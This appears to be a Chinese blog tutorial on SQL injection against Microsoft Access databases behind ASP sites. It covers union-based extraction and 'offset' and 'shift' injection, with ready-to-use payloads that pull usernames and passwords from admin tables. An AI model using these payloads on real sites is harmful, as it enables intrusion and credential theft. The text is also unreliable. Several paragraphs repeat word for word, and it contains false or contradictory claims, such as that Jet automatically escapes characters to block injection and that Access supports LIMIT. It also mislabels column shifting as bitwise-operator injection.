0x0 Access 基础
- Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
- Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。
- MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库
- sqlite access
单文件类型数据库 无数据库概念 直接表里面存数据 (没有information_schema库) - asp一般用mssql或access数据库
0x1 常见注入类型
00 union 联合查询注入
- 先判断使用库类型
and exists(select * from sysobjects) //sysobjects库在mssql中存在
and exists(select * from msysobjects) //msysobjects库在access中存在
- 猜字段数
?id=1 order by 8
- 猜解表名
- 表名可能会有前缀,需要根据具体去猜解,不存在默认表
- 可以准备一个字典进行爆破sqlmap中自带 data/txt/common-tables.txt
?id=1 and 1<(select count(*) from tb_name)
access数据库,联合查询要求前后数据格式保持一致,数量一致,后面的select必须跟from
?id=1 union select 1,2,3,4,5,6,7,8 from tb_name
- 猜字段
and exists(select count(id) from user) //标记id爆破列名
- 取数据用top限制不存在limit
?id=1 union select top 1 id,2,username,4,5,6,password,8 from tb_name where id not in (select top 1 id from tb_name)
Access数据库通常不容易受到报错注入的影响的主要原因之一是它的错误处理机制。Access数据库引擎在执行SQL语句时,通常不会直接将错误信息返回给用户,这可以防止攻击者通过注入恶意代码来触发数据库错误从而获取敏感信息。
另外,Access数据库的Jet SQL引擎通常在处理查询时会对输入进行严格处理,这包括自动转义特殊字符以防止SQL注入攻击。虽然这并不能完全防止所有类型的注入攻击,但至少可以降低成功注入的可能性。
总的来说,Access数据库相对其他某些数据库系统来说,对于报错注入有一定程度的防范措施,但并不代表它是绝对安全的。在任何情况下,都应该采取最佳的安全实践来保护数据库免受恶意攻击。
另外,Access数据库的Jet SQL引擎通常在处理查询时会对输入进行严格处理,这包括自动转义特殊字符以防止SQL注入攻击。虽然这并不能完全防止所有类型的注入攻击,但至少可以降低成功注入的可能性。
总的来说,Access数据库相对其他某些数据库系统来说,对于报错注入有一定程度的防范措施,但并不代表它是绝对安全的。在任何情况下,都应该采取最佳的安全实践来保护数据库免受恶意攻击。
在Access数据库中,基于布尔盲注的攻击相对困难,因为Access数据库的Jet SQL引擎不会在查询返回结果中根据条件的真假返回不同的信息。这意味着无法利用布尔盲注技术来推测或验证条件是否为真或假。
布尔盲注通常依赖于判断查询结果是真还是假来推断数据库中的信息。如果数据库在查询条件成立时返回不同的结果,攻击者可以通过不断地测试条件来猜测数据库中的数据。但Access数据库通常不会反馈这种信息,因此布尔盲注在这种情况下不太可行。
尽管如此,尽管Access数据库较难受到布尔盲注的影响,但仍可能存在其他类型的注入漏洞。因此,开发人员和数据库管理员应当时刻注意数据库安全,采取预防措施,如参数化查询、输入验证和严格的访问控制,以减少数据库遭受各种注入攻击的风险。
布尔盲注通常依赖于判断查询结果是真还是假来推断数据库中的信息。如果数据库在查询条件成立时返回不同的结果,攻击者可以通过不断地测试条件来猜测数据库中的数据。但Access数据库通常不会反馈这种信息,因此布尔盲注在这种情况下不太可行。
尽管如此,尽管Access数据库较难受到布尔盲注的影响,但仍可能存在其他类型的注入漏洞。因此,开发人员和数据库管理员应当时刻注意数据库安全,采取预防措施,如参数化查询、输入验证和严格的访问控制,以减少数据库遭受各种注入攻击的风险。
01 偏移注入
在Access数据库中,偏移注入和移位注入是一种高级的SQL注入技术,用于绕过一般的注入防护措施。这些技术旨在利用数据库引擎中的函数或特性来操作数据,以执行恶意操作或窃取敏感信息。
注入原理
- 借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示
- access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名
利用条件
- 知道表名
- 任意字段(一般access会有一个id字段。)
影响偏移注入成功率的因素
- 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
- 当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)
- 已知的字段数越多越好(id一般存在)
偏移注入(Offset Injection)流程:
- 理解偏移注入: 在偏移注入中,攻击者试图通过调整SQL查询结果的偏移量来获取敏感数据。
- 识别注入点: 发现可被注入的输入点(如URL参数、表单字段等),通常通过尝试输入注入代码并查看响应来识别。
- 确定注入位置: 找到SQL查询语句中的输入点,尤其是可以用于调整结果集偏移的部分。
- 利用偏移函数: 尝试使用Access中的内置函数(如TOP和LIMIT)来调整结果集的偏移量,以访问不同的行或数据。
注入过程
先判断列数 已知管理表列22
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from user
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,*from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
解释:说明存在22-16 = 6列
union // 联合查询语法,定义连后面的语句一起执行
select // 查询
1,2,3,4,5,6,7,8,9,10, // 这里理解为剩下的字段数就可以
from // 从哪里开始
(admin as a inner join admin as b on a.id=b.id) // 这里是admin表自连接,admin为表名(前面得到的表名) id为字段(可修改,但必须存在)
【偏移注入的基本公式】:字段数=order by 出的字段数-*号的字段数x2
因为这里一共是22个字段,而*号代表的admin表字段占6个,6×2=12 22-12=10 这就是为什么字段数是10的原因
一级偏移语句
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
二级偏移语句
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4
02 移位注入
移位注入(Bitwise Shift Injection)流程:
- 认识移位注入: 移位注入涉及使用位移操作符来操纵数据,执行恶意操作或提取信息。
- 确认漏洞点: 发现可以进行注入的输入位置,并尝试了解如何利用位移操作符。
- 构造攻击载荷: 创建精心设计的注入载荷,利用Access的数据类型和位操作符来操纵查询结果。
- 执行注入攻击: 利用合法查询来构造恶意的位移注入代码,并观察查询结果中的不寻常行为或输出。
// 先判断列数
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,admin.* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,admin.* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,admin.*from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,admin.* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin
// 说明存在22-16=6列
//union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin
// 9 11 13为显示位 admin.*代表6列
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.*,15,16,17 from admin
// 将admin.*依此往前移位得到想要注入的如果
© 版权声明
THE END
暂无评论内容